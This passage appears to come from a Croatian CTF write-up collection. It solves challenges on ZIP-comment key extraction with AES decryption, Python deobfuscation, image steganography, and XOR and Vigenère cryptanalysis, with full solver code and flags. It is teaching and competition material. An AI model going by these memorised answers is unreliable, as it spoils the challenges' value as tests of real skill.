long size = ftell(file);
for (long i = size - 22; i >= 0; i--) {
fseek(file, i, SEEK_SET);
unsigned char sig[4];
fread(sig, 1, 4, file);
if (sig[0] == 0x50 && sig[1] == 0x4b && sig[2] == 0x05 && sig[3] == 0x06) {
fseek(file, i + 20, SEEK_SET);
unsigned short comment_len;
fread(&comment_len, 2, 1, file);
if (comment_len > 0) {
unsigned char *comment = malloc(comment_len);
fread(comment, 1, comment_len, file);
fwrite(comment, 1, comment_len, stdout);
free(comment);
break;
}
}
}
fclose(file);
return 0;
}
Ovaj program se može pokrenuti da pročita dio ključa i pohrani ga u željenu datoteku.
./extractCommKey LorenIps > extractedKeys.bin
Nakon toga se pohranjeni dio ključa može proslijediti sljedećem programu, s flagEnc.bin enkriptiranom datotekom, kako bi dekriptirao datoteku i našao flag.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/aes.h>
// Hardcoded key (same)
const unsigned char hardcoded_key[16] = {
0x19, 0x47, 0x25, 0x4b,
0xf3, 0x56, 0x6b, 0x2f,
0xce, 0x61, 0x30, 0x3d,
0xf5, 0xee, 0x43, 0xe6
};
// Function to XOR two key parts
void xor_keys(const unsigned char *key1, const unsigned char *key2, unsigned char *result) {
for (int i = 0; i < 16; i++) {
result[i] = key1[i] ^ key2[i];
}
}
void decrypt_file(const char *input_path, const char *output_path,
const unsigned char *key, const unsigned char *iv) {
FILE *in_file = fopen(input_path, "rb");
FILE *out_file = fopen(output_path, "wb");
if (!in_file || !out_file) {
perror("File error");
exit(1);
}
// Read IV
unsigned char file_iv[16];
fread(file_iv, 1, 16, in_file);
AES_KEY aes_key;
AES_set_decrypt_key(key, 128, &aes_key);
// Decrypt
unsigned char in_buf[16], out_buf[16];
int bytes_read;
int padding_value;
while ((bytes_read = fread(in_buf, 1, 16, in_file)) > 0) {
AES_cbc_encrypt(in_buf, out_buf, 16, &aes_key, file_iv, AES_DECRYPT);
if (feof(in_file)) {
padding_value = out_buf[15];
if (padding_value > 0 && padding_value <= 16) {
bytes_read = 16 - padding_value;
}
}
fwrite(out_buf, 1, bytes_read, out_file);
}
fclose(in_file);
fclose(out_file);
}
int main(int argc, char *argv[]) {
if (argc != 3 && argc != 4) {
printf("Usage: %s <encrypted_file> <output_file> [key1_file]\n", argv[0]);
printf("If key1_file is not provided, reads key1 from stdin\n");
return 1;
}
unsigned char key1[16];
if (argc == 4) {
// Read key1 from file
FILE *key_file = fopen(argv[3], "rb");
if (!key_file) {
perror("Failed to open key file");
return 1;
}
fread(key1, 1, 16, key_file);
fclose(key_file);
} else {
// from stdin
fread(key1, 1, 16, stdin);
}
// XOR extracted key with hardcoded key to get AES key
unsigned char actual_key[16];
xor_keys(key1, hardcoded_key, actual_key);
unsigned char iv[16];
decrypt_file(argv[1], argv[2], actual_key, iv);
printf("File decrypted successfully: %s\n", argv[2]);
return 0;
}
Sada se program može pokrenuti s proslijeđenim datotekama i pročitati dešifrirani flag.
$ ./decrypt flagEnc.bin decrypted_flag.txt extractedKeys.bin $ cat decrypted_flag.txt
It's everyday MRO
Nikad nisam vidio ovako čudan Python kod
Uz zadatak je dostupna ZIP datoteka koja sadrži run.sh, Dockerfile i challenge.py.
run.sh je skripta za pokretanje zadatka, koja gradi Docker image i pokreće ga, kako bi challenge.py imao konzistentno ponašanje, bez obzira na Python verziju na hostu.
Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, nego naprednija, za koju je potrebna točno određena verzija Pythona definira u Dockerfileu.
Pristup deobfuskaciji ovog zadatka je postupno dodavanje i mijenjanje koda u challenge.py dok se ne dobije čitljiv oblik koda. Tijekom ovog postupka, promijenjenu challenge.py skriptu treba i dalje pokretati s run.sh kako bi se koristila ista verzija Pythona.
Prvo se može cijeli kod staviti u string varijablu, nad kojom će se s pomoću regex operatora i zamjena pojednostavljivati kod.
obf= """x, y = __import__('operator'), __import__('funct....."""
Može se napisati funkcija za deobfuskaciju koda
import re
from collections import OrderedDict
import operator
import functools
def deobfuscate(obfuscated_code: str) -> str:
"""
Deobfuscates a multi-layered Python code string by resolving dynamic attribute
lookups, simplifying expressions, + specific edge cases fixes
"""
code = obfuscated_code
ctx = {
"x": operator,
"y": functools,
"__builtins__": __builtins__,
"operator": operator
}
patterns = [
re.compile(r'(\[\]\.__class__\.__mro__\[-1\]\.__subclasses__\(\)\[(\d+)\])'),
re.compile(r'(\[\*?([a-zA-Z0-9_.]+)\.__dict__\.values\(\)\](\[-?\d+\])+)')
]
for _ in range(10):
matches = OrderedDict()
for pat in patterns:
for match in pat.finditer(code):
matches[match.group(1)] = match.group(1)
if not matches:
break
replacements = {}
for original_expr in matches:
try:
obj = eval(original_expr, ctx)
if hasattr(obj, '__module__'):
mod, name = obj.__module__, obj.__name__
if mod == 'builtins' and name.isidentifier():
repl_str = name
elif mod in ['operator', '_operator']:
repl_str = f"x.{name}"
elif mod == 'functools':
repl_str = f"y.{name}"
else:
repl_str = repr(obj)
else:
repl_str = repr(obj)
replacements[re.escape(original_expr)] = repl_str
except Exception:
continue
if not replacements:
break
combined_pattern = re.compile('|'.join(sorted(replacements.keys(), key=len, reverse=True)))
code = combined_pattern.sub(lambda m: replacements[re.escape(m.group(0))], code)
code = re.sub(r"<method '([^']+)' of '([^']+)' objects>", r"\2.\1", code)
code = re.sub(r"<slot wrapper '([^']+)' of '([^']+)' objects>", r"operator.\1", code)
# EDGECASE: str.endswith(..., <integer>) TypeError.
def fix_endswith_type_error(match):
arg_str, number_expr = match.groups()
try:
# Evaluate the integer expression ("3*3" -> 9)
number_val = eval(number_expr)
# corrected call
binary_suffix = bin(number_val)[2:]
return f"str.endswith({arg_str}, '{binary_suffix}')"
except Exception:
return match.group(0) # Fallback
code = re.sub(r"str\.endswith\(([^,]+?),\s*([0-9\s\*\+\-/]+)\)", fix_endswith_type_error, code)
# Replace `_lru_list_elem` with a lambda function.
# The pattern `y._lru_list_elem(x.mod, n)` === `lambda i: x.mod(n, i)`
def fix_lru_list_elem(match):
func, arg = match.groups()
return f"(lambda i: {func}({arg}, i))"
code = re.sub(r"y\._lru_list_elem\(([^,]+?),\s*([^)]+?)\)", fix_lru_list_elem, code)
return code
obf= """..."""
deobfuscated_code = deobfuscate(obf)
print(deobfuscated_code)
Ova funkcija pretvara originalni kod u puno čitljiviji oblik koji i dalje sadrži istu funkcionalnost.
x, y = __import__('operator'), __import__('functools');print(x.add((x.add(x.add("CTF2025[", (a := input("Unesi lozinku:"))), "]"))*(x.and_(x.and_(x.and_(str.endswith(bin(int(a)), '0'*3), x.eq(x.truediv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343322, 686644)))), x.floordiv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343323, 686646)))))), x.not_(x.mod(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(x.or_(operator.__lshift__(26, 13), operator.__lshift__(1, 9)), 686646)))))), x.eq(len(hex(int(a))), 12))), "Nope :/"*((x.not_(x.and_(x.and_(x.and_(str.endswith(bin(int(a)), '0'*3), x.eq(x.truediv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343322, 686644)))), x.floordiv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343323, 686646)))))), x.not_(x.mod(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(x.or_(operator.__lshift__(26, 13), operator.__lshift__(1, 9)), 686646)))))), (x.eq(len(hex(int(a))), 12))))))))
Daljnjim rasplitanjem ovog koda može se doći do još čitljivijeg oblika.
import operator
# Optimized primality test
def is_prime(n):
if n < 2:
return False
# Only checking divisors up to the square root of n.
for i in range(2, int(n**0.5) + 1):
if n % i == 0:
return False
return True
def find_first_prime_in_range(start, end):
"""Finds the first prime number within a range."""
for num in range(start, end):
if is_prime(num):
return num
raise StopIteration("No prime found in the given range.")
password_str = input("Unesi lozinku:")
try:
password_num = int(password_str)
# --- Step 1: Calculate the three prime numbers
prime1, prime2 = find_first_prime_in_range(343322, 686644) # 343327
prime3_start = (26 << 13) | (1 << 9) # 213504
prime3 = find_first_prime_in_range(prime3_start, 686646) # 213527
# Check 1: The binary representation of the number must end with '000'.
check_binary_suffix = bin(password_num).endswith('000')
# Check 2: A complex check for divisibility by prime1.
check_prime_division = (password_num / prime1) == (password_num // prime2)
# Check 3: `not (number % prime)`.
# `not 0` == `True`.
mod_result = password_num % prime3
check_non_divisibility = not mod_result
# Check 4: The length of the hex string (including '0x') must be 12.
check_hex_length = len(hex(password_num)) == 12
if all([check_binary_suffix, check_prime_division, check_non_divisibility, check_hex_length]):
print("CTF2025[" + password_str + "]")
else:
print("Nope :/")
except (ValueError, TypeError, StopIteration):
print("Nope :/")
Iz ovih uvjeta se može napisati skripta koja će pronaći broj koji zadovoljava sve uvjete.
def is_prime(n):
if n < 2:
return False
for i in range(2, int(n**0.5) + 1):
if n % i == 0:
return False
return True
def find_first_prime_in_range(start, end):
for num in range(start, end):
if is_prime(num):
return num
raise StopIteration("No prime found in the given range.")
# constants
print("Calculating the required prime numbers...")
prime1 = find_first_prime_in_range(343322, 686644)
prime3_start = (26 << 13) | (1 << 9)
prime3 = find_first_prime_in_range(prime3_start, 686646)
print(f" - Divisibility Prime (prime1): {prime1}")
print(f" - Divisibility Prime (prime3): {prime3}\n")
## constraints
# Must be a multiple of 8 ( === binary ends in '000')
factor1 = 8
# Must be a multiple of prime1
factor2 = prime1
# ust be a multiple of prime3
factor3 = prime3
print(f" - Constraint A: Must be a multiple of {factor1}")
print(f" - Constraint B: Must be a multiple of {factor2}")
print(f" - Constraint C: Must be a multiple of {factor3}")
# Hex length must be 12 characters.
# '0x' + 10 hex digits.
min_bound = 0x1000000000
max_bound = 0xFFFFFFFFFF
print(f"Must be between {min_bound} and {max_bound} (inclusive).\n")
# To satisfy the three divisibility constraints, the number must be a multiple
# of their Least Common Multiple. They are coprime ===> LCM is their product.
lcm = factor1 * factor2 * factor3
print(f"Least Common Multiple: {lcm}")
## candidate * 2 is already outside the max range
## len(str(candidate * 2)) = 13
candidate = lcm
# Verify candidate
print("Verifying the constructed number against constraints")
# Check 1: Binary Suffix
check1 = bin(candidate).endswith('000')
print(f" - Condition 1 (ends in '000'): {check1}")
# Check 2: Prime Division
check2 = (candidate % prime1) == 0
print(f" - Condition 2 (divisible by {prime1}): {check2}")
# Check 3: divisibility ( if % returns 0, (not 0) == True -> % operation must return 0)
check3 = not (candidate % prime3)
print(f" - Condition 3 (divisible by {prime3}): {check3}")
# Check 4: Hex Length
check4 = len(hex(candidate)) == 12
print(f" - Condition 4 (hex length is 12): {check4}\n")
if all([check1, check2, check3, check4]):
print(f"\nThe solution is: {candidate}")
print(f"Flag: CTF2025[{candidate}]")
else:
print("Candidate does not meet all conditions.")
Stegosaurus
U slici stegosaura skrivena je tajna poruka, možeš li ju pronaći?
Uz zadatak su dani izvršna datoteka i slika. Pojmovi STEGOsaurus, tvrdnja da je u slici “skrivena” tajna poruka, kao poruka pri pokušaju pokretanja izvšne datoteke
Usage: ./hide <message> <image_path>
upućuju na to da je izvršna datoteka program koji će odabranu poruku “sakriti” u sliku, odnosno steganografski program.
Pokretanjem naredbe strings nad izvršnom datotekom hide
strings hide
mogu se pronaći ovi stringovi
.jpg .jpeg Failed to write image stbi__load_and_postprocess_8bit stbi__load_and_postprocess_16bit stbi__convert_format stbi__convert_format16 stbi__jpeg_huff_decode JFIF Adobe stbi__bit_reverse stbi__create_png_alpha_expand8 stbi__create_png_image_raw stbi__compute_transparency stbi__compute_transparency16 stbi__de_iphone stbi__shiftsigned stbi__tga_load stbiw__writefv stbiw__write_run_data stbiw__write_dump_data stbiw__sbgrowf stbi_zlib_compress stbi_write_png_to_mem JFIF
Pretraživanjem po internetu s ovim stringovima, može se naići na GitHub projekt STB, koji se koristi od strane izvršne datoteke dane u zadatku.
Sada se može uz analizu koda dostupnog na GitHub stranici i dekompajliranog koda izvršne datoteke, dokučiti kako radi izvršna datoteka hide te napisati program koji će pronaći skriveni tekst u slici.
Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta.
Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R,G,B vrijednosti, onda u zadnji piksel (donji desni) pohranjuje duljinu poruke kao XOR nad duljinom poruke i najčešćim RGB vrijednostima (ovo se može i vizualno primijetiti, da zadnji piksel je drugačiji od okolnih)
Svako slovo skrivenog teksta zatim se skriva kao XOR nad ASCII vrijednošću tog znaka i najčešćih RGB vrijednosti piksela, te ih se postavlja na pozicije određene prostim brojevima.
Program koji otkriva skriveni tekst u slici danoj u zadatku je u nastavku.
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
int* generate_first_n_primes(int n, int *actual_count) {
if (n <= 0) {
*actual_count = 0;
return NULL;
}
if (n == 1) {
int *primes = malloc(sizeof(int));
primes[0] = 2;
*actual_count = 1;
return primes;
}
double logn = log(n);
double loglogn = log(logn);
int limit = (n < 100) ? 1000 : (int)(n * (logn + loglogn)) + 1000;
unsigned char *sieve = calloc(limit + 1, sizeof(unsigned char));
for (int i = 2; i <= limit; i++) sieve[i] = 1;
for (int i = 2; i * i <= limit; i++) {
if (sieve[i]) {
for (int j = i * i; j <= limit; j += i) {
sieve[j] = 0;
}
}
}
int *primes = malloc(n * sizeof(int));
int count = 0;
for (int i = 2; i <= limit && count < n; i++) {
if (sieve[i]) {
primes[count++] = i;
}
}
free(sieve);
*actual_count = count;
return primes;
}
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <image_path>\n", argv[0]);
return 1;
}
char *image_path = argv[1];
int width, height, channels;
unsigned char *image = stbi_load(image_path, &width, &height, &channels, 0);
if (!image) {
fprintf(stderr, "Error loading image %s\n", image_path);
return 1;
}
int *counts = calloc(256 * 256 * 256, sizeof(int));
int total_pixels = width * height;
for (int i = 0; i < total_pixels; i++) {
unsigned char r = image[i * channels];
unsigned char g = image[i * channels + 1];
unsigned char b = image[i * channels + 2];
counts[r * 256 * 256 + g * 256 + b]++;
}
unsigned char max_r = 0, max_g = 0, max_b = 0;
int max_count = 0;
for (int i = 0; i < 256 * 256 * 256; i++) {
if (counts[i] > max_count) {
max_count = counts[i];
max_r = i / (256 * 256);
max_g = (i / 256) % 256;
max_b = i % 256;
}
}
free(counts);
int last_pixel_idx = (height - 1) * width + (width - 1);
unsigned char *last_pixel = image + last_pixel_idx * channels;
int len = ((last_pixel[0] ^ max_r) << 16) |
((last_pixel[1] ^ max_g) << 8) |
(last_pixel[2] ^ max_b);
int n_primes = (len >= 2) ? len - 2 : 0;
int prime_count;
int *primes = generate_first_n_primes(n_primes, &prime_count);
char *output = malloc(len + 1);
for (int i = 0; i < len; i++) {
int row;
if (i == 0) row = 0;
else if (i == 1) row = 1;
else row = primes[i - 2] % height;
int col = (i * len) % width;
unsigned char *p = image + (row * width + col) * channels;
unsigned char part_r = p[0] & 0x07;
unsigned char part_g = p[1] & 0x07;
unsigned char part_b = p[2] & 0x03;
part_r ^= (max_r & 0x07);
part_g ^= (max_g & 0x07);
part_b ^= (max_b & 0x03);
output[i] = (part_r << 5) | (part_g << 2) | part_b;
}
output[len] = '\0';
printf("%s\n", output);
free(primes);
free(output);
stbi_image_free(image);
return 0;
}
Kriptografija
Tajna poruka
Dešifriraj ovu tajnu poruku T30fhy88 i 19t8c xbde wfa5: 7NDNK3Z[LQY5VY2YSR2U] Zbh fz7n: T30fhy88 + C3u4p = G2h87vle h 8ls12n e50oc3h.
Rješenje zadatka prikazano je na slici u nastavku.
Xorry 1
Zagrijavanje
Uz zadatak su dani kod korišten za generiranje šifrata i šifrat.
Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti).
Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane također dužine 30.
Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd.
Rješenje započinje pronalaskom dužine ključa, a zatim se određuje bajt ključa tako da svaki znak plaintexta koji je njime šifriran dekriptira u valjani znak iz charseta (0–9 + a–f).
Skripta je dana u nastavku.
from collections import defaultdict
import numpy as np
# Define charset in ASCII
HEX_DIGITS = set(ord(c) for c in '0123456789abcdef')
DEBUG = True
def debug_print(message):
if DEBUG:
print(message)
def index_of_coincidence(data):
freq = defaultdict(int)
for byte in data:
freq[byte] += 1
n = len(data)
if n <= 1:
return 0
return sum(f*(f-1) for f in freq.values()) / (n * (n - 1))
def find_key_length(ciphertext, min_length=7, max_length=23):
best_length = 0
best_score = 0
for key_len in range(min_length, max_length + 1):
scores = []
for offset in range(key_len):
group = []
idx = offset
while idx < len(ciphertext):
group.append(ciphertext[idx])
idx += key_len
ic = index_of_coincidence(group)
scores.append(ic)
avg_ic = np.mean(scores) if scores else 0
debug_print(f"Key length {key_len}: Avg IC = {avg_ic:.6f}")
if avg_ic > best_score:
best_score = avg_ic
best_length = key_len
return best_length
def recover_key(ciphertext, key_length):
key = bytearray(key_length)
position_groups = defaultdict(list)
# Group bytes by their position in the key cycle
for idx, byte in enumerate(ciphertext):
position = idx % key_length
position_groups[position].append(byte)
# For each key position, find best candidate
for pos in range(key_length):
best_candidate = 0
best_hex_count = -1
bytes_at_pos = position_groups[pos]
for candidate_byte in range(256):
hex_count = 0
for byte in bytes_at_pos:
decrypted = candidate_byte ^ byte
if decrypted in HEX_DIGITS:
hex_count += 1
if hex_count > best_hex_count:
best_hex_count = hex_count
best_candidate = candidate_byte
key[pos] = best_candidate
debug_print(f"Position {pos}: best candidate {best_candidate} ({best_hex_count}/{len(bytes_at_pos)} hex)")
return bytes(key)
def main():
try:
with open('output.txt', 'r') as f:
hex_lines = f.readlines()
except FileNotFoundError:
print("Error: output.txt not found")
return
ciphertext = bytearray()
for line in hex_lines:
line = line.strip()
ciphertext.extend(bytes.fromhex(line))
debug_print(f"Total ciphertext length: {len(ciphertext)} bytes")
# Find key length
key_length = find_key_length(ciphertext)
if key_length == 0:
print("Error: Failed to determine key length")
return
debug_print(f"Key length: {key_length}")
# Find key
key = recover_key(ciphertext, key_length)
debug_print(f"Recovered key: {key.hex()}")
# Decrypt
plaintext = bytearray()
for i, byte in enumerate(ciphertext):
plaintext.append(byte ^ key[i % len(key)])
lines = []
for i in range(0, len(plaintext), 30):
line = plaintext[i:i+30].decode('ascii')
lines.append(line)
with open('decrypted.txt', 'w') as f:
for line in lines:
f.write(line + '\n')
print("Decrypted to decrypted.txt")
# Find flag line
print("\nFlag line:")
for i, line in enumerate(lines):
if any(char not in '0123456789abcdef' for char in line):
print(f"Line {i+1}: {line}")
if __name__ == "__main__":
main()
Jumbo 1
python3 generator.py --flag "CTF2025[...]" --words 3000
Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat.
Pregledom dijela koda u kojem se parsiraju argumenti dani programu i naredbe za pokretanje programa dane u tekstu zadatka, može se zaključiti da je duljina ključa definirana default vrijednostima i da je između 13 i 27 znakova.
Zadatak kombinira Cezarovu i Vigenèreovu šifru. Cezarova šifra se uz to dodatno primjenjuje na svaku riječ drugačijim ključem ovisno o duljini riječi.
Prvo se koristi normalna Cezarova šifra, pa Vigenere šifra, pa Cezarova šifra za svaku riječ, ovisna o duljini riječi.
Jednadžba za specifičan pomak po riječi prikazana je u nastavku:
pomak = (duljina_riječi * X + Y) % broj_znakova_u_rječniku
Gdje su X i Y konstante u programu, koje su iste za svije riječi.
Kombinacija normalne Vigenère i Cezarove šifre ekvivalentna je korištenju Vigenère šifre s modificiranim ključem, pa se dio programa koji koristi jednolični pomak ne mora posebno rješavati, nego se odmah pronađe moficirani Vigenère ključ.
Prvi i drugi korak rješavaju se korištenjem indeksa slučajnosti (IC – index of coincidence), koji pokazuje kolika je vjerojatnost da dva nasumično odabrana slova budu ista. Zna se da se koristi engleski rječnik i da je za engleski jezik IC ~ 0.067.
IC je niži za potpuno nasumičan tekst, a viši za strukturirani tekst, jer se neka slova puno češće ponavljaju. Za potpuno nasumičan tekst, s brojem znakova u rječniku 38, kao u zadatku, IC potpuno nasumičnog teksta bi bio 1/38 ~ 0.0263.
Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, IC će biti veći. Kako bi se pronašla ispravna kombinacija X i Y pomaka po riječi, mogu se pokušati sve kombinacije. X i Y su nasumični integer u rasponu od 1 do broja znakova u rječniku, što je 38.
Broj mogućih kombinacija je time:
38 * 38 = 1444
Ovo je prihvatljiv broj kombinacija za koristiti bruteforce pristup i pronaći kombinaciju koja ima najveći IC.
Nakon toga je uspješno riješen inverz pomaka po riječi i potrebno je samo riješiti običnu Cezar + Vigenere šifru, što je ekvivalentno samo rješavanju Vigenere šifre s drugim ključem, kao što je već spomenuto.
To se može napraviti ili korištenjem Kasiski analize, ili drugim načinom, korištenjem Friedman analize s pomoću IC vrijednosti, kao što će biti prikazano u rješenju ovog zadatka.
Prvo se pokušava pronaći duljina Vigenere ključa, to se radi tako da se za različite potencijalne dužine ključa naprave skupine slove, koja su sva bila pomaknuta istim znakom Vigenere ključa. U tome slučaju će sva slova u skupini biti pomaknuta za isti pomak, te će IC unutar te skupine biti puno viši. Opet se na ovakav način, pronalaskom konfiguracijom koja ima najviši IC može pronaći ispravna duljina ključa.
Zatim se za svaku skupinu pronalazi slovo koje je korišteno za pomak te skupine. Za to se koristi učestalost pojavljivanja pojedinih slova u Engleskom jeziku, npr. u skupini je najčešće slovo S, zna se da je u engleskom najčešće slovo E, vrlo moguće da je pomak E → S. Onda se ova provjera napravi i za ostala slova i gleda se konfiguracija koja je najbliža učestalosti slova u engleskom jeziku.
U zadatku se za to koristi ovaj rječnik.
ENG_FREQ = {
'A': 0.08167,'B': 0.01492,'C': 0.02782,'D': 0.04253,'E': 0.12702,'F': 0.02228,
'G': 0.02015,'H': 0.06094,'I': 0.06966,'J': 0.00153,'K': 0.00772,'L': 0.04025,
'M': 0.02406,'N': 0.06749,'O': 0.07507,'P': 0.01929,'Q': 0.00095,'R': 0.05987,
'S': 0.06327,'T': 0.09056,'U': 0.02758,'V': 0.00978,'W': 0.02360,'X': 0.00150,
'Y': 0.01974,'Z': 0.00074
}
Objašnjenja skripta dana je u nastavku.
#!/usr/bin/env python3
import argparse
import string
import re
from collections import Counter
charset = string.ascii_uppercase + string.digits + "[]"
MOD = len(charset)
A2N = {char: i for i, char in enumerate(charset)}
N2A = {i: char for i, char in enumerate(charset)}
# Pre-calculated English letter frequencies, mapped to alphabet
ENG_FREQ = {
'A': 0.08167,'B': 0.01492,'C': 0.02782,'D': 0.04253,'E': 0.12702,'F': 0.02228,
'G': 0.02015,'H': 0.06094,'I': 0.06966,'J': 0.00153,'K': 0.00772,'L': 0.04025,
'M': 0.02406,'N': 0.06749,'O': 0.07507,'P': 0.01929,'Q': 0.00095,'R': 0.05987,
'S': 0.06327,'T': 0.09056,'U': 0.02758,'V': 0.00978,'W': 0.02360,'X': 0.00150,
'Y': 0.01974,'Z': 0.00074
}
TOTAL_FREQ = sum(ENG_FREQ.values())
ALPHA_FREQ = {c: ENG_FREQ.get(c, 1e-5) / TOTAL_FREQ for c in charset}
def undo_per_word_rot(ciphertext, mult, add):
out_words = []
for word in ciphertext.split():
shift = (sum(1 for char in word if char in A2N) * mult + add) % MOD
rotated_word = ''.join(N2A[(A2N[char] - shift) % MOD] if char in A2N else char for char in word)
out_words.append(rotated_word)
return ' '.join(out_words)
def get_avg_ic(text, keylen):
alpha_text = [c for c in text if c in A2N]
ics = []
for i in range(keylen):
col = alpha_text[i::keylen]
N = len(col)
if N > 1:
freqs = Counter(col)
ic = sum(v * (v - 1) for v in freqs.values()) / (N * (N - 1))
ics.append(ic)
return sum(ics) / len(ics) if ics else 0.0
def guess_key_lengths(text, max_len=30, top_k=5):
scores = sorted([(get_avg_ic(text, L), L) for L in range(1, max_len + 1)], reverse=True)
return [L for _, L in scores[:top_k]]
def recover_vigenere_key(text, keylen):
key, alpha_text = [], [c for c in text if c in A2N]
for i in range(keylen):
col = alpha_text[i::keylen]
if not col: continue
N, col_counts = len(col), Counter(col)
best_shift, min_chi2 = 0, float('inf')
for s in range(MOD):
chi2 = sum(((col_counts.get(N2A[(A2N[plain_char] + s) % MOD], 0) - (ALPHA_FREQ[plain_char] * N)) ** 2) / (ALPHA_FREQ[plain_char] * N) for plain_char in charset)
if chi2 < min_chi2:
min_chi2, best_shift = chi2, s
key.append(N2A[best_shift])
return ''.join(key)
def vigenere_decrypt(text, key):
key_nums = [A2N[char] for char in key]
out, ki = [], 0
for char in text:
if char in A2N:
k = key_nums[ki % len(key_nums)]
out.append(N2A[(A2N[char] - k) % MOD])
ki += 1
else:
out.append(char)
return ''.join(out)
def find_flag(plaintext, flag_pattern):
for g in range(MOD):
shifted_text = ''.join(N2A[(A2N[char] - g) % MOD] if char in A2N else char for char in plaintext)
match = flag_pattern.search(shifted_text)
if match:
return g, match.group(0)
return None, None
def main():
parser = argparse.ArgumentParser(description="Solver for the encryption challenge.")
parser.add_argument("--cipher", default="cipher.txt", help="Path to the ciphertext file.")
parser.add_argument("--max-keylen", type=int, default=27)
args = parser.parse_args()
with open(args.cipher, "r", encoding="utf-8") as f:
cipher = f.read().strip().upper()
flag_re = re.compile(r"CTF2025\[\d{12}\]", flags=re.IGNORECASE)
max = 0
multH = 0
addH = 0
for mult in range(MOD):
for add in range(MOD):
stage2_text = undo_per_word_rot(cipher, mult, add)
new = get_avg_ic(stage2_text, 20)
if new > max:
max = new
multH = mult
addH = add
print(max)
stage2_text = undo_per_word_rot(cipher, multH, addH)
for length in guess_key_lengths(stage2_text, args.max_keylen):
key = recover_vigenere_key(stage2_text, length)
if not key: continue
stage1_text = vigenere_decrypt(stage2_text, key)
global_shift, flag = find_flag(stage1_text, flag_re)
if flag:
print(f"\n\n{'='*16}\n=== FLAG FOUND ===\n{'='*16}")
print(f" Flag: {flag}")
print(f" Parameters:")
print(f" - Per-Word Mult: {mult}")
print(f" - Per-Word Add: {add}")
print(f" - Vigenere Key: '{key}' (length {length})")
print(f" - Global Shift: {global_shift}")
return
print("\n\nSolver finished. No flag found.")
if __name__ == "__main__":
main()
Xorry 2
Really xorry for this one
Uz zadatak su dani kod korišten za generiranje šifrata i šifrat.
Zadatak generira šifrat na sličan način kao u Xorry1 zadatku, ali vraća samo 10 linija. Glavna razlika je da se linije izmiješaju nakon što se ciklično enkriptiraju nasumičnim ključem nasumične duljine, pa je puno teže pronaći i duljinu ključa i pozicije nad kojima se isti indeks ključa koristio.
Rješenje se temelji na znanim informacijama:
Flag je duljine 21 i cijeli se nalazi unutar jedne linije,
zato početak flaga može biti jedino na pozicijama 0-9
Radi formata flaga zna se da flag počinje s "CTF2025[" i završava s "]",
znakovi "CTF" će biti 3 jedinstvena znaka za redom u plaintextu,
kao i uglate zagrade ("CTF" je u uppercaseu, dok je ostatak charseta u lowercaseu)
Pomoću ovih činjenica, analizom šifrata, može se pretpostaviti pozicija početka flaga, XOR operacijom pronaći 9 bajtova ključa - bajtovi ključa koji su bili korišteni za enkripciju početka flaga “CTF2025[” i zadnjeg znaka “]” te od tuda nastaviti s dekripcijom šifrata.
Skripta za rješavanje zadatka dana je u nastavku.
from collections import defaultdict
def find_ctf_candidates(ciphertexts):
# Count frequency of each byte value in entire ciphertext
byte_freq = defaultdict(int)
for line in ciphertexts:
for byte in line:
byte_freq[byte] += 1
candidates = []
for line_idx, line in enumerate(ciphertexts):
# Only consider positions 0-9 for 'C'
for pos in range(0, 10):
if pos + 2 >= len(line):
continue
# Get the 3 bytes - "CTF" cand.
bytes_triplet = line[pos:pos+3]
# Check uniqueness
if all(byte_freq[b] == 1 for b in bytes_triplet):
candidates.append((line_idx, pos))
return candidates
def recover_key(ct_line, pos):
key_bytes = bytearray()
# Known plaintext for the flag prefix
known_plain = b'CTF2025['
for i in range(8):
key_byte = ct_line[pos + i] ^ known_plain[i]
key_bytes.append(key_byte)
return bytes(key_bytes)
def decrypt_line_anchored(ct_line, key, anchor_pos):
decrypted = bytearray()
key_len = len(key)
for i, byte in enumerate(ct_line):
# Calculate key index based on anchor position
key_index = (i - anchor_pos) % key_len
decrypted.append(byte ^ key[key_index])
return decrypted
def is_valid_flag_line(flag_text, pos):
if not flag_text.startswith('CTF2025[', pos):
return False
# Check closing bracket is at position+20
if len(flag_text) < pos + 21 or flag_text[pos+20] != ']':
return False
# Check 12-digit number is dec.-only
digits = flag_text[pos+8:pos+20]
return all(c in '0123456789' for c in digits)
def main():
try:
with open('output.txt', 'r') as f:
hex_lines = f.readlines()
except FileNotFoundError:
print("Error: output.txt not found")
return
ciphertexts = []
for hex_str in hex_lines:
hex_str = hex_str.strip()
try:
ciphertexts.append(bytes.fromhex(hex_str))
except ValueError:
print(f"Error: Invalid hex data: {hex_str}")
return
print(f"Loaded {len(ciphertexts)} ciphertext lines")
# Find CTF candidates with uniqueness
ctf_candidates = find_ctf_candidates(ciphertexts)
print(f"Found {len(ctf_candidates)} CTF candidates (globally unique bytes)")
if not ctf_candidates:
print("Error: No valid CTF candidates found")
return
# Try each candidate
for candidate_idx, (line_idx, pos) in enumerate(ctf_candidates):
